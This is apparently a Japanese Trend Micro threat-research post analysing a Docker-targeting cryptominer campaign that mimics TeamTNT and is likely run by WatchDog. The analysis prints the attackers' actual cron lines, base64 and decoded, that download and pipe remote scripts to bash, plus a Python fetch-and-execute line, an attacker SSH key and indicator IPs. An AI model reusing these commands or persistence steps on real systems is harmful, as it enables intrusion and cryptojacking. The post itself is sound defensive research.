クラウド環境
停止したとされるTeamTNTを模した攻撃活動を確認
トレンドマイクロのハニーポット(攻撃者を引き寄せるように設計された仕掛け)は、不正なクリプトマイナーのサンプルを確認しました。これは、クラウド及びコンテナを標的としていました。その一連の攻撃活動の内容は、2021年11月に活動を停止したとされるサイバー犯罪グループ「TeamTNT」が採用していたものを彷彿とさせるものでした。この調査によると、別のサイバー犯罪グループである「WatchDog」が「TeamTNT」の特徴を模倣している可能性も否定できないことが判明しました。
トレンドマイクロのハニーポット(攻撃者を引き寄せるように設計された仕掛け)は、不正なクリプトマイナーのサンプルを確認しました。これは、クラウド及びコンテナを標的としていました。その一連の攻撃活動の内容は、2021年11月に活動を停止したとされるサイバー犯罪グループ「TeamTNT」が採用していたものを彷彿とさせるものでした。この調査によると、別のサイバー犯罪グループである「WatchDog」が「TeamTNT」の特徴を模倣している可能性も否定できないことが判明しました。
TeamTNTは、世界中のクラウドやコンテナ環境を主な標的としていたことで知られている攻撃グループです。このサイバー攻撃グループは、被害者の環境にクリプトマイナーを配備し、クラウドやコンテナのリソースを利用することが確認されています。TeamTNTは、2019年から活動を開始し、2021年に停止することを発表しましたが、直近の観察によるとTeamTNTが活動を再開した、あるいはTeamTNTの攻撃活動を模倣した他の攻撃グループが、XMRigクリプトマイナーを展開しているように見受けられます。なお、攻撃パターンやその他の技術的コードを分析した結果、一連の攻撃内容はTeamTNTの特徴を模倣していますが、WatchDogという別のクリプトマイニング・グループが実行している可能性が高いことが判明しています。
攻撃パターン
ハニーポット内のサンプルを分析した結果、前に不正活動に関与していることが記録されていたDocker APIへのTCP接続を確立している以下のIPアドレスが見つかりました。
- 115[.]238[.]146[.]136
- 150[.]158[.]33[.]66
- 101[.]42[.]100[.]251
- 113[.]57[.]111[.]119
- 139[.]59[.]132[.]89
- 120[.]48[.]86[.]143
- 58[.]192[.]31[.]232
- 121[.]36[.]16[.]103
- 1[.]116[.]151[.]108
- 27[.]128[.]160[.]170
- 124[.]222[.]213[.]175
トレンドマイクロは、IPアドレスの大半は中国(1件のみドイツ)から接続されていることを追跡し確認しました。また、公開されているDocker APIに対し以下にある一連のリクエストを確認しました。
1. 最初のリクエストは、Dockerバージョンの情報を取得することでした。
ヘッダフィールドの「User-Agent」から判断すると、このリクエストはTeamTNTが正当なユーティリティであるZGrabを使用し、公開済みのDocker APIサーバをスキャンしていると考えられます。なお、ZGrabは、非推奨となっているバナー取得用ツールです。現在、GitHubで公開されているオープンソースツールは、ZGrab2と呼ばれる新しいバージョンとなっています。トレンドマイクロが分析したサンプルでは、古いユーティリティが未だ使用されていることが確認されています。
リクエストが可能なサーバを特定すると、攻撃活動はは次のステップに進みます。
2. Pingによって、APIサーバが利用可能か否かを確認します。
3. Pingによる反応があると、攻撃者は/containers/createのエンドポイントにデプロイ要求を行い、不正なシェルスクリプトをダウンロードし実行するよう指示したalpineベースのコンテナをデプロイします。
上記画像にあるように、このリクエストでは以下のステップが実行されていることが確認可能です。
- ルートディレクトリを/mntに変更
- curlをインストール
- 205[.]185[.]118[.]246からファイルcronb.shをダウンロードするために、crontab及び/etc/cron.dにcronエントリを作成
4. コンテナのデプロイに成功すると、攻撃者はDocker Daemon APIにリクエスト(コンテナにアタッチして起動)します。
cronb.sh スクリプト
cronb.shスクリプトは、攻撃者によって展開される最初のペイロードです。このスクリプトは、複数のシェルスクリプトやXMRIGマイナーをダウンロードしたり、Base64エンコードされたcコードをコンパイルするなど、多くのアクションを実行することが判明しています。このセクションでは、当スクリプトによって実行されるアクションを説明します。
スクリプトの最初の関数には、C&C(コマンド&コントロール)サーバのIP及びポートの詳細が含まれています。
また、このスクリプトは、以下の関数で定義されたアクションを実行します。
a. check_exist
check_exist関数は、netstatを利用することにより、クリプトマイナーのプロセスがポート1414で実行されているかどうかを確認します。
b. m_command
m_command関数のスクリプトは、wget、curl、chattrユーティリティのパスを設定します。このプロセスでは、chattrユーティリティの名称をzzhchtに変更しています。これは、恐らく他のクリプトマイナーやマルウェアがこのユーティリティを使用できないようにするためと考えられます。
攻撃者は、様々なシステム・バイナリをハイジャックし、カスタムプロセスを作成し、プレフィックス(接頭辞)tnt、またはサフィックス(接尾辞)TNTcurl、curlnt、tntrechtに名称を変更します。また、この機能では、バイナリtntcurlやcurltntが存在するかどうかを確認し、環境変数としてそれらのパスを追加します。この内容はTeamTNTに起因しているため既に文書化されています。
c. ins_package
ins_function関数は、OS(オペレーティング・システム)で使用されるパッケージマネージャを検証した後に、3つの関数を利用しルートキットやprocess hider codeのソースコードをコンパイルしインストールするためのツール「gcc、make、kmod」等をインストールします。
d. SetupNameServers
この関数は、/etc/resolv.confファイルを更新し、ファイルのパーミッションを変更してコントロール可能にすることにより、IPアドレス8[.]8[.]8[.]8と8[.]8[.]4[.]4をDNSサーバとして使用できるようにネットワーク設定を構成します。これらのアドレスはGoogle DNSサーバとなります。
e. download_f
download_f関数は、XMRigマイナーのxm.tarをcryptとして、また設定ファイルのconfig.jsonを[cmake].pidとしてダウンロードします(/usr/shareディレクトリとしてプールサーバのIPアドレスを使用)。
f. setup_s
setup_s関数は、パス</etc/systemd/system/cmake.service>を使用し、設定ファイル[cmake].pidをシステム内のサービスとしてインストールします。
g. makesshaxx
makesshaxx関数のスクリプトは、攻撃者のSSH公開鍵をファイル/root/.ssh/authorized_keys及び/root/.ssh/authorized_keys2に追加します。確認されたSSH公開鍵は以下の通りです。
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmEFN80ELqVV9enSOn+05vOhtmmtuEoPFhompw+bTIaCDsU5Yn2yD77Yifc/yXh3O9mg76THr7vxomguO040VwQYf9+vtJ6CGtl7NamxT8LYFBgsgtJ9H48R9k6H0rqK5Srdb44PGtptZR7USzjb02EUq/15cZtfWnjP9pKTgscOvU6o1Jpos6kdlbwzNggdNrHxKqps0so3GC7tXv/GFlLVWEqJRqAVDOxK4Gl2iozqxJMO2d7TCNg7d3Rr3w4xIMNZm49DPzTWQcze5XciQyNoNvaopvp+UlceetnWxI1Kdswi0VNMZZOmhmsMAtirB3yR10DwH3NbEKy+ohYqBL root@puppetserver
Googleで検索したところ、この鍵は以前Dockerコンテナ攻撃に関連する他のスクリプトで使用されていることが判明しました。
h. clean_monitor
clean_monitor関数のスクリプトは、様々なOSのセキュリティ及びロギング機能を無効にします。
- iptablesからファイアウォール・ルールをクリア
- bash historyを消去
- SELinux、watchdog、AppArmor、ファイアウォールを無効化
- aegis (アリババのクラウドセキュリティエージェント), aliyun (アリババのクラウドモニター) 及び qcloud (テンセントのクラウドqcloudエージェント) をアンインストール
i. clean_cron
clean_cron関数のスクリプトは、cronファイルをコントロールし、/etc/crontab, /var/spool/cron, /etc/cron.d, /var/spool/cron/crontabs から既存のcronjobを全て削除し、マルウェア自体の機能だけでなく、正規システムの機能にも支障をきたします。
j. lock_cron
lock_cron関数のスクリプトは、cronファイルの属性を変更することによりファイルを再び変更することを不可能にし、他者がコントロールできないようにします。
k. exec_hide
exec_hide関数のスクリプトは、まずルートキットがインストールされているか否かを最初に確認します。ルートキットが存在しない場合には、別の関数hide_f()を使用しルートキットをインストールします。関数 hide_f() は、Base64 エンコードされた .tar ファイルをデコードして/usr/share/..hide ディレクトリにコンパイルした後に、insmod コマンドを使用することによりカーネルモジュールとしてインストールされます。
m. clmo
clmo関数のスクリプトは、既存のシステムがアリババクラウドのインスタンスであるか否かを確認した後にAliSecGuardを無効にし、aliyun及びaegisのサービスを停止させます。
n. exe_remo
SSH経由の水平移動を担う関数であり、リモートのSSHサーバにb.shファイルをデプロイします。このb.shファイルは、cronb.shファイルと同様のものです。
これは、同じシステム内でs.shスクリプトをダウンロードし実行します。このスクリプトは以下の役割を担っています。
- Dockerサービスをスキャンするためのアプリケーションレイヤ・スキャナであるZGrabをインストールする
- ポートスキャナであるpnscanをインストールし、Redisサーバを検出するためにサブネット全体をスキャンする
- 別のポートスキャナであるmasscanをインストールし、Redisサーバを検出するためにスキャンする
- OS のパッケージリポジトリからiptables, unhide, gcc, redis-tools, Redis server などの様々なユーティリティをインストールする
- その他のシェルスクリプト c.sh, d.sh をダウンロードし、サービスとしてインストールする
また、これらのツールは、以前の攻撃活動のなかでTeamTNTによって使用された手段の一部であったと観測されています。
c.sh 及びd.shの詳細
上述の通り、s.shは感染させるために必要な様々なツールをインストールします。c.sh及びd.shスクリプトは、そのツールを「目的の達成のため」に利用します。そして、c.shスクリプトは、攻撃者が以下のアクションを実行することを可能にします。
- iptablesにRedis-server通信のためのファイアウォールルールを作成する
- 以前のスクリプト(s.sh)でダウンロードしたスキャンツールを全て利用する
- 以下のcronjobインストラクションを.datファイルに追加する
*/2 * * * * root echo Y2QxIGh0dHA6Ly9raXNzLmEtZG9nLnRvcC9iMmY2MjgvYi5zaAo=|base64 -d|bash|bash
Base64 decoded string: cd1 http[:]//kiss.a-dog.top/b2f628/b.sh
*/3 * * * * root echo d2dldCAtcSAtTy0gaHR0cDovL2tpc3MuYS1kb2cudG9wL2IyZjYyOC9iLnNoCg==|base64 -d|bash|bash
Base64 decoded string: wget -q -O- http[:]//kiss.a-dog.top/b2f628/b.sh
*/4 * * * * root echo Y3VybCBodHRwOi8va2lzcy5hLWRvZy50b3AvYjJmNjI4L2Iuc2gK|base64 -d|bash|bash
Base64 decoded string: curl http[:]//kiss.a-dog.top/b2f628/b.sh
c2V0IGJhY2t1cDQgIlxuXG5cbkBob3VybHkgcm9vdCAgcHl0aG9uIC1jIFwiaW1wb3J0IHVybGxpYjI7IHByaW50IHVybGxpYjIudXJsb3BlbihcJ2h0dHA6Ly9raVxcc1xccy5hLWRcXG9nLnRcXG9ccC90LnNoXCcpLnJlYWQoKVwiID4uMTtjaG1vZCAreCAuMTsuLy4xXG5cbiIK
Base64 decoded string: set backup4 "\n\n\n@hourly root python -c \"import urllib2; print urllib2.urlopen(\'http[:]//ki\\s\\s.a-d\\og.t\\o\p/t.sh\').read()\" >.1;chmod +x .1;./.1\n\n"
ネットワーク上利用可能なRedisサーバをmasscan及びpnscanツールでスキャンすることにより.datファイルを読み込み、ファイルからRedisサーバに指示を送り、これらのシェルスクリプトをダウンロードするcronjobを追加します。
d.shスクリプトは、この攻撃活動でで使用される全てのシェルスクリプトの中で最も命令の数が少なくなっています。このスクリプトは、ZGrabスキャナーを使用し、ネットワーク上のTCPポート2375(daemonに対する暗号化されていないコミュニケーション用)及び2376(daemonに対する暗号化されたコミュニケーション用)の両方で利用されるDocker APIサーバをスキャンします。その後、Docker API経由でAlpine Dockerイメージをデプロイします。
上記Dockerイメージのデプロイメントでは、d.shは205[.]185[.]118[.]246からcronb.sh、そしてドメインhttp[:]//kiss[.]a-dog[.]top/t[.]shからt.sh をダウンロードし、実行するcronjobを追加しています。
このファイルには、TeamTNTのバナーもBase64エンコードされた文字列として含まれています。
トレンドマイクロのソリューション
Trend Micro™ Cloud One Workload Security™及びTrend Micro Vision One™は、以下の不正行為を検知することによりサイバー犯罪者の攻撃から守ります。
Trend Micro Cloud OneTM - Workload Security
詳細はこちらをご覧ください。
Trend Micro Vision OneTM Workbench App
Trend Micro Vision One Workbench Appは、ワークロード全体で発生した事象に基づき、相関する重要なイベントを可視化します。下記図の左ペインには、要約された一連のイベントが表示されます。解析者は、重要な分野を確認し、右ペインに表示されるコネクションにおいてセキュリティ上必要な対応を提供することができます。このアプリによって、セキュリティチームは攻撃された資産を確認し、パッチ修正手続きが進行している間に、影響を受ける可能性のある資産を分離することができます。
まとめ
攻撃者は、暗号資産マイナーをデプロイするための一連のアクションを実行します。この攻撃活動は、Dockerインフラストラクチャを悪用し、ZGrab、massscan、pnscan、Redisなどのツールを使用して複数のシェルスクリプトを感染させ、拡散することによりXMRigをインストールさせます。この攻撃では、バナーや特定のユーティリティの使用など、TeamTNTの戦術と一致する技術及び手順(TTPs)を踏んでいます。なお、TeamTNTのこのような行動は既に一般的に認知されています。現在使用されているドメインの1つであるoracle[.]zhreceive[.]topは、暗号資産のマイニンググループであるWatchDogと関連しており、TeamTNTと同じドメインを利用していることが確認されています。また、URLのディレクトリ名に「s3f815」と「b2f628」が使用されていることや、このグループが使用するファイル名に「1.0.4.tar.gz」ラベルが使用されていることもリサーチャーによって既に確認されています。
さらに、TeamTNT は既に活動を停止することを発表しています。これは、彼らの活動の背後に WatchDog が存在し TeamTNT の名前を利用しているか、もしくは他者がこのサイバー犯罪グループを模倣している可能性が高いことを示しています。今後、TeamTNT が同じ攻撃活動を用いて戻ってくる可能性も否定はできません。トレンドマイクロは、この脅威を引き続き監視し、継続的に研究結果を公表してまいります。
参考記事
TeamTNT Returns – or Does It?
By: Sunil Bharti
翻訳:新井 智士(Core Technology Marketing, Trend Micro™ Research)